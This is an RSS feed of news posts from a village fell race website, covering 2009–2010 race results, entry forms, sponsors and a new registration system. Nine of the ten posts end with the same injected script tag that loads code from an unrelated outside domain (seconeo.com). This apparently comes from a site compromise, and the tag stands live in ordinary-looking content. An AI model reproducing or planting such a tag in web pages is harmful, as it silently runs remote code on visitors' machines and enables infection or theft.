<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hope Wakes Fell Race</title>
	<atom:link href="http://www.hopefellrace.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hopefellrace.co.uk</link>
	<description>Race Day: Wednesday 29th June 2011</description>
	<lastBuildDate>Mon, 30 Aug 2010 07:37:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Return of the Brinks Fell Run</title>
		<link>http://www.hopefellrace.co.uk/2010/08/29/return-of-the-brinks-fell-run/</link>
		<comments>http://www.hopefellrace.co.uk/2010/08/29/return-of-the-brinks-fell-run/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 07:27:26 +0000</pubDate>
		<dc:creator>David Wing</dc:creator>
				<category><![CDATA[Latest News]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.hopefellrace.co.uk/?p=60</guid>
		<description><![CDATA[Mark Bartley is trying to organise a low-key friendly race / run for local runners in September . Residents of Hope, Aston &#38; Brough only.  Ages 16 to 80+. Fancy dress if you want. Distance 3.01 mls, 500 ft climb. Entry Fee: £5.00. Free drink and sandwiches at the home of Hope Fell Running, the [...]]]></description>
			<content:encoded><![CDATA[<p>Mark Bartley is trying to organise a low-key friendly race / run for local runners in September . Residents of Hope, Aston &amp; Brough only.  Ages 16 to 80+. Fancy dress if you want. Distance 3.01 mls, 500 ft climb. Entry Fee: £5.00. Free drink and sandwiches at the home of Hope Fell Running, the Cheshire Cheese after the run. <em> If this is successful &amp; reasonably well supported them it may become a regular annual event.</em></p>
<p>Contact Mark on 01433 621949 or 07752 615323</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hopefellrace.co.uk/2010/08/29/return-of-the-brinks-fell-run/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Junior Fell Race Results 2010</title>
		<link>http://www.hopefellrace.co.uk/2010/07/05/junior-fell-race-results-2010/</link>
		<comments>http://www.hopefellrace.co.uk/2010/07/05/junior-fell-race-results-2010/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 14:04:41 +0000</pubDate>
		<dc:creator>David Wing</dc:creator>
				<category><![CDATA[Latest News]]></category>
		<category><![CDATA[results]]></category>

		<guid isPermaLink="false">http://www.hopefellrace.co.uk/2010/07/05/junior-fell-race-results-2010/</guid>
		<description><![CDATA[Junior Fell Race Results 2010.The Junior Fell Race is growing. We had 29 youngsters in this years race. Most were locals, but we had runners from Whalley Bridge, Nottingham and Sheffield. Well done Mark Bartley &#38; the Junior / Fun Run Team. The results for the Junior Race are now available on this website.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hopefellrace.co.uk/wp-content/uploads/2010/07/junior-results-20101.xls" title="Junior Fell Race Results 2010.">Junior Fell Race Results 2010.</a>The Junior Fell Race is growing. We had 29 youngsters in this years race. Most were locals, but we had runners from Whalley Bridge, Nottingham and Sheffield. Well done Mark Bartley &amp; the Junior / Fun Run Team.</p>
<p>The results for the Junior Race are now available on this website.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hopefellrace.co.uk/2010/07/05/junior-fell-race-results-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Senior Fell Race Results 2010</title>
		<link>http://www.hopefellrace.co.uk/2010/07/02/senior-fell-race-results-2010/</link>
		<comments>http://www.hopefellrace.co.uk/2010/07/02/senior-fell-race-results-2010/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 17:36:54 +0000</pubDate>
		<dc:creator>David Wing</dc:creator>
				<category><![CDATA[Latest News]]></category>
		<category><![CDATA[results]]></category>

		<guid isPermaLink="false">http://www.hopefellrace.co.uk/2010/07/02/senior-fell-race-results-2010/</guid>
		<description><![CDATA[Race Results Senior Race 2010 The results for this years Senior  Race are now available on the website.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hopefellrace.co.uk/wp-content/uploads/2010/07/results-2010-seniors1.xls" title="Race Results Snior Race 2010">Race Results Senior Race 2010</a> The results for this years Senior  Race are now available on the website.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hopefellrace.co.uk/2010/07/02/senior-fell-race-results-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Race Day.</title>
		<link>http://www.hopefellrace.co.uk/2010/06/29/race-day/</link>
		<comments>http://www.hopefellrace.co.uk/2010/06/29/race-day/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 06:49:35 +0000</pubDate>
		<dc:creator>David Wing</dc:creator>
				<category><![CDATA[Information]]></category>
		<category><![CDATA[Latest News]]></category>

		<guid isPermaLink="false">http://www.hopefellrace.co.uk/2010/06/29/race-day/</guid>
		<description><![CDATA[Race Day, weather forecast is good. The route will be inspected &#38; part-marked this morning. Main Fell Race. Start 7.30 pm. Registration from 6.15 pm. Entry Fee £4 Junior Fell Race. Start 6.45 pm. Registration from 6.00pm. Entry Fee £1 Kids Fun Run. Start. 6.30 pm. Registration from 6.00pm Entry Fee £1 Come along and [...]]]></description>
			<content:encoded><![CDATA[<p>Race Day, weather forecast is good. The route will be inspected &amp; part-marked this morning.</p>
<p>Main Fell Race. Start 7.30 pm. Registration from 6.15 pm. Entry Fee £4</p>
<p>Junior Fell Race. Start 6.45 pm. Registration from 6.00pm. Entry Fee £1</p>
<p>Kids Fun Run. Start. 6.30 pm. Registration from 6.00pm Entry Fee £1</p>
<p>Come along and enjoy a good run, in lovely hill country. 5.9 miles &amp; 1480 ft of climb.</p>
<p>WE LOOK FORWARD TO SEEING YOU TONIGHT.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hopefellrace.co.uk/2010/06/29/race-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Down Loadable Entry Forms</title>
		<link>http://www.hopefellrace.co.uk/2010/06/08/down-loadable-entry-forms/</link>
		<comments>http://www.hopefellrace.co.uk/2010/06/08/down-loadable-entry-forms/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 07:32:42 +0000</pubDate>
		<dc:creator>David Wing</dc:creator>
				<category><![CDATA[Information]]></category>
		<category><![CDATA[Latest News]]></category>

		<guid isPermaLink="false">http://www.hopefellrace.co.uk/2010/06/08/down-loadable-entry-forms/</guid>
		<description><![CDATA[Entry Forms are now available on this website. Please go to the Download Entry Forms Page, top right &#38; follow the links, There are forms for the Main Fell Race (senior) and also a form  for anyone aged 16 to 18 years U18. Plus, separate forms for both the Junior Fell Race &#38; the Children&#8217;s Fun Run.  [...]]]></description>
			<content:encoded><![CDATA[<p><u><strong><em>Entry Forms are now available on this website.</em></strong></u></p>
<p><strong>Please go to the Download Entry Forms Page, top right &amp; follow the links,</strong></p>
<p>There are forms for the Main Fell Race (senior) and also a form  for anyone aged 16 to 18 years U18.</p>
<p>Plus, separate forms for both the Junior Fell Race &amp; the Children&#8217;s Fun Run. </p>
<p>Please note that any competitor who is under 18 will require signed parental consent. There is a section on the appropriate forms which just needs to be completing &amp; signing by the parent / carer etc.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hopefellrace.co.uk/2010/06/08/down-loadable-entry-forms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Registration &amp; Results System.</title>
		<link>http://www.hopefellrace.co.uk/2010/05/27/new-registration-results-system/</link>
		<comments>http://www.hopefellrace.co.uk/2010/05/27/new-registration-results-system/#comments</comments>
		<pubDate>Thu, 27 May 2010 17:14:40 +0000</pubDate>
		<dc:creator>David Wing</dc:creator>
				<category><![CDATA[Information]]></category>
		<category><![CDATA[Latest News]]></category>

		<guid isPermaLink="false">http://www.hopefellrace.co.uk/2010/05/27/new-registration-results-system/</guid>
		<description><![CDATA[Following the chaos of last year registration, when the number of runners (247) overwhelmed our ancient, but upto then reliable &#8220;sticky label &#38; results board&#8221; system and the start was delayed. We resolved to enter the 21st century. With the help of Graham Revell &#38; the Bradwell / Wolf Pit Fell Race teams we now have a computerised [...]]]></description>
			<content:encoded><![CDATA[<p>Following the chaos of last year registration, when the number of runners (247) overwhelmed our ancient, but upto then reliable &#8220;sticky label &amp; results board&#8221; system and the start was delayed. We resolved to enter the 21st century.</p>
<p>With the help of Graham Revell &amp; the Bradwell / Wolf Pit Fell Race teams we now have a computerised entry &amp; results system.</p>
<p>Our computer wiz, Stu. Hollinrake has trialed &amp; mastered the system, well done Stu. </p>
<p>The registration team has been doubled to 4 people, and we have 3 people involved in the actual computer entry procedure. Results will be &#8221;nearly&#8221; instant.</p>
<p>Yes, we are having a &#8220;manual&#8221; back -up system just incase&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;</p>
<p>Please join us for a great nights running on the 30th June 2010.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hopefellrace.co.uk/2010/05/27/new-registration-results-system/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Outside (Britains Best Mountain Shops)</title>
		<link>http://www.hopefellrace.co.uk/2010/05/10/outside-britains-best-mountain-shops/</link>
		<comments>http://www.hopefellrace.co.uk/2010/05/10/outside-britains-best-mountain-shops/#comments</comments>
		<pubDate>Mon, 10 May 2010 09:59:00 +0000</pubDate>
		<dc:creator>David Wing</dc:creator>
				<category><![CDATA[Latest News]]></category>
		<category><![CDATA[Sponsers & Supporters]]></category>

		<guid isPermaLink="false">http://www.hopefellrace.co.uk/2010/05/10/outside-britains-best-mountain-shops/</guid>
		<description><![CDATA[This is the 3rd year that Outside have supported the Fell Race with prizes. In addition this year they will supply the food for the runners at the end of the race. A particular thank you must go to Lydia at the Outside Cafe for organising the food. We would like to thank the Outside [...]]]></description>
			<content:encoded><![CDATA[<p><span class="UIStory_Message">This is the 3rd year that Outside have supported the Fell Race with prizes. In addition this year they will supply the food for the runners at the end of the race. A particular thank you must go to <strong>Lydia at the Outside Cafe</strong> for organising the food.</span></p>
<p><span class="UIStory_Message"></span><span class="UIStory_Message"><strong><em>We would like to thank the Outside Team, Dick, Fran &amp; Rob for their ongoing support.</em></strong></span><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hopefellrace.co.uk/2010/05/10/outside-britains-best-mountain-shops/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rab supports the race with prizes.</title>
		<link>http://www.hopefellrace.co.uk/2010/05/03/rab-supports-the-race-with-prizes/</link>
		<comments>http://www.hopefellrace.co.uk/2010/05/03/rab-supports-the-race-with-prizes/#comments</comments>
		<pubDate>Mon, 03 May 2010 13:57:42 +0000</pubDate>
		<dc:creator>David Wing</dc:creator>
				<category><![CDATA[Latest News]]></category>
		<category><![CDATA[Sponsers & Supporters]]></category>

		<guid isPermaLink="false">http://www.hopefellrace.co.uk/2010/05/03/rab-supports-the-race-with-prizes/</guid>
		<description><![CDATA[ Rab, is one of the UK premier outdoor brands. They have kindly supported the Hope Wakes Fell Race with some excellent prizes. Come along on Wednesday, 30th June, you might be a lucky winner of one of the much sort after products. Thank you to Nikki Skinner &#38; the Rab Team for their help &#38; [...]]]></description>
			<content:encoded><![CDATA[<p><strong> Rab</strong>, is one of the UK premier outdoor brands. They have kindly supported the Hope Wakes Fell Race with some excellent prizes. Come along on Wednesday, 30th June, you might be a lucky winner of one of the much sort after products.</p>
<p><em><strong>Thank you to Nikki Skinner &amp; the Rab Team for their help &amp; support.</strong></em><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hopefellrace.co.uk/2010/05/03/rab-supports-the-race-with-prizes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Face Book</title>
		<link>http://www.hopefellrace.co.uk/2010/03/05/face-book/</link>
		<comments>http://www.hopefellrace.co.uk/2010/03/05/face-book/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 16:40:59 +0000</pubDate>
		<dc:creator>David Wing</dc:creator>
				<category><![CDATA[Latest News]]></category>

		<guid isPermaLink="false">http://www.hopefellrace.co.uk/2010/03/05/face-book/</guid>
		<description><![CDATA[Hope Wakes Fell Race now has a face book page, with loads of photographs from the 2007/08/09 races.]]></description>
			<content:encoded><![CDATA[<p>Hope Wakes Fell Race now has a face book page, with loads of photographs from the 2007/08/09 races.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hopefellrace.co.uk/2010/03/05/face-book/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Junior Fell Race Results 2009</title>
		<link>http://www.hopefellrace.co.uk/2009/08/25/junior-fell-race-results-2009/</link>
		<comments>http://www.hopefellrace.co.uk/2009/08/25/junior-fell-race-results-2009/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 16:54:04 +0000</pubDate>
		<dc:creator>David Wing</dc:creator>
				<category><![CDATA[results]]></category>

		<guid isPermaLink="false">http://www.hopefellrace.co.uk/2009/08/25/junior-fell-race-results-2009/</guid>
		<description><![CDATA[The results for the Hope Wakes Junior Fell Race 2009 can be found below: Hope Wakes Junior Fell Race 2009 Results]]></description>
			<content:encoded><![CDATA[<p>The results for the Hope Wakes Junior Fell Race 2009 can be found below:</p>
<p><a href="http://www.hopefellrace.co.uk/wp-content/uploads/2009/08/resultsjuniors2009.xls" title="Hope Wakes Junior Fell Race 2009 Results">Hope Wakes Junior Fell Race 2009 Results</a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hopefellrace.co.uk/2009/08/25/junior-fell-race-results-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
